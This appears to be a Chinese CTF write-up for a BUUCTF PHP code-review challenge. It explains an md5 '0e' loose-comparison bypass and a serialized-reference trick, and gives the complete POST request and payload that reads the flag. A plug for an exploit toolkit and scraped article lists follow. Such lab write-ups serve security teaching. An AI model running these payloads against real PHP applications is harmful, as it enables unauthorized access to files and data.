1、说明:

题目来自于BUUCTF 的基础部分,内容就如题,是一个代码审计。代码如下:

<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/ highlight_file(__FILE__); class BUU {
public $correct = "";
public $input = ""; public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
} if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}

2、代码内容分析

代码主要可以分为4部分,如下图

0部分为一个class,而且在第三部分看见了反序列化unserialize($_POST['obj']); 内容,那么就十之八九是反序列化。但是先不用去处理。且在class中可以获得flag的值。

1部分为一个IF 满足进入的条件为get 传参的值为1

2部分也是一个IF 满足条件为post 传参的值为2

3部分也是一个IF 满足条件为 需要两个不同的数。且这两个不同的数值的md5 的却相同 。

如果 123 条件都满足之后就会执行反序列化,通过POST 传参obj 执行,然后进入区域0

0区域也有一个IF 满足条件为属性correct与属性input相等。 但是correct 却是利用一个时间进行计算的值的base64 值。

3、以上每个条件的满足方式

第一部分

只需要在url 中传参即可,如下图

第二部分

使用burpsuit截断内容,改变传输方式为POST。如下

改变为POST 之后, URL 中传值的1 也会自动下来, 需要手动调整上去。

第三部分

第三部分为md5值得比较。通常可以用数组 做比较绕过和弱类型 比较绕过。

这里使用弱类型比较绕过。

原理:PHP 当中使用== 来进行比较的时候,系统会自动处理数据类型, 进行分析是数字比较还是字符比较。 而当一个字符串值是e0开通的时候,那么就会被当中数值。而e0xxxxxx都为0.

那么就只需要找到两个不同的数值,开头却是以e0开头的即可。也是蛮多的,如下图中所示。

然后传参md51md52 即可。 这样就可以达到md51md52 不相同。 但是他们的md5值却在php中相等。

传参方式和post一样, 使用& 符号链接。 内容如下图:

反序列化与引用处理。

反序列化的处理方式很简单。 值需要将原class 中的方法去掉,放进php在线运行 中去,序列化一下即可获得可以运行的序列化内容。

如图:

但是以上序列化之后的字符串通过post['obj'] 只能达到解析的目的。 解析后内容可以控制。却因为uniqid()函数产生的数是随时变化的,无法预测,所以input 传值多少无法确定。

这里就是本题的重要考点引用 的反序列化。 我们可以简单的把引用简单的理解为C 语言中的地址指针。

看如下代码

$a=&$b;
$a=1;//此时 输出$b 那么变量b就为1
$a=123;//此时输出$b 那么变量b就为123

由以上代码可以发现,当变量b为a的引用的时候,b的值随a变化。

道理我都懂了, 那么只需要$this->input$this->correct 的引用即可。

$this->input=&$this->correct

构造方式如下图:

只需要在序列化的时候设置一下即可。

完整poc如下图

http报文如下

POST /?pleaseget=1 HTTP/1.1
Host: a27be653-d322-4e8f-96a8-07b27c77f559.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 103
Content-Type: application/x-www-form-urlencoded pleasepost=2&md51=s1885207154a&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

私货

limanmanExp 5.2版本发布了。 增加了数据库审计插件。 想要的小伙伴可以看B站。

https://www.bilibili.com/video/BV1UK4y1U7G6

下载地址在简介中。 还附带了一些简单的exp插件。 如果有兴趣自定义开发插件,也可以在看云手册中查看开发方法

地址https://www.kancloud.cn/qq496672097/limanmanexp/2139143

BUUCTF 基础CODE REVIEW的更多相关文章

  1. 我们是怎么做Code Review的

    前几天看了<Code Review 程序员的寄望与哀伤>,想到我们团队开展Code Review也有2年了,结果还算比较满意,有些经验应该可以和大家一起分享.探讨.我们为什么要推行Code ...

  2. <转>如何进行code review

    转自: http://pm.readthedocs.org/zh_CN/latest/codereview/howto.html 如何进行code review? code reivew是保障代码质量 ...

  3. Code Review Engine Learning

    相关学习资料 https://www.owasp.org/index.php/Code_review https://www.owasp.org/images/8/8e/OWASP_Code_Revi ...

  4. 什么是Code Review(转)

    Code Review是一种通过复查代码提高代码质量的过程,在XP方法中占有极为重要的地位,也已经成为软件工程中一个不可缺少的环节.本文通过对Code Review的一些概念和经验的探讨,就如何进行C ...

  5. 什么是Code Review

    Code Review 是一种通过复查代码提高代码质量的过程,在XP方法中占有极为重要的地位,也已经成为软件工程中一个不可缺少的环节. 本文通过对Code Review的一些概念和经验的探讨,就如何进 ...

  6. 如何在python脚本开发做code review

    在软件项目开发中,我们经常提到一个词“code review”.code review中文翻译过来就是代码评审或复查,简而言之就是编码完成后由其他人通过阅读代码来检查代码的质量(可编译.可运行.可读. ...

  7. 基于GitLab的Code Review教程

    一.前言 1.本文主要内容 GitLab Code Review机制说明 Git Workflow 与 Git Code Review Workflow GitLab Code Review 配置说明 ...

  8. 从code review到Git commit log

    最近在读一本技术类的书:朱赟——<跃迁:从技术到管理的硅谷路径>,其中聊了很多很有趣的观点,比如:技术管理.技术实践.硅谷文化.个人成长等. 读到关于硅谷人如何做code review这一 ...

  9. Code review应该怎么做

    代码评审有两种不同的方法,一种是代码走查,一种是代码审查,我们这里讨论的仅指代码走查.通常自己写的代码都难以发现问题,需要以第二双眼睛再次检查代码,帮助我们及时地发现潜在的问题. 做代码审查之前,团队 ...

随机推荐

  1. Flutter 1.5

    Flutter 1.5 Flutter SDK https://flutter.dev/docs/get-started/install/windows Android SDK This instal ...

  2. 微信公众号 bug

    微信公众号 bug web bug refs xgqfrms 2012-2020 www.cnblogs.com 发布文章使用:只允许注册用户才可以访问!

  3. how to recursively all files in a folder with sudo permissions in macOS

    how to recursively all files in a folder with sudo permissions in macOS write bug OK sudo chmod 777 ...

  4. nasm win x86 hello world

    hello.asm: extern MessageBoxA extern ExitProcess section .data title db "caption.",0 messa ...

  5. 利用 Java 操作 Jenkins API 实现对 Jenkins 的控制详解

    本文转载自利用 Java 操作 Jenkins API 实现对 Jenkins 的控制详解 导语 由于最近工作需要利用 Jenkins 远程 API 操作 Jenkins 来完成一些列操作,就抽空研究 ...

  6. css中的transform,transition,translate的关系

    transform 旋转(transform是没有动画效果,你改变了它的值,元素的样子就唰的改变了.其中的位移的函数名就叫translate,所以说,translate是transform的一部分.) ...

  7. JS语法-ES6

    1.介绍 ECMAScript 6简称ES6,是JavaScript语言的下一代标准. 2.常用属性及方法 2.1常量与变量的定义 在JavaScript中,我们一般使用var来定义变量,实际上它是有 ...

  8. oracle check datapump jobs

    reference: https://asktom.oracle.com/pls/apex/asktom.search?tag=getting-ora-31626-job-does-not-exist ...

  9. How DRI and DRM Work

    How DRI and DRM Work Introduction This page is intended as an introduction to what DRI and DRM are, ...

  10. 封装fetch请求失败和超时再次请求

    转: 封装fetch请求失败和超时再次请求 function _fetch(fetch_promise, timeout) { var abort_fn = null; //这是一个可以被reject ...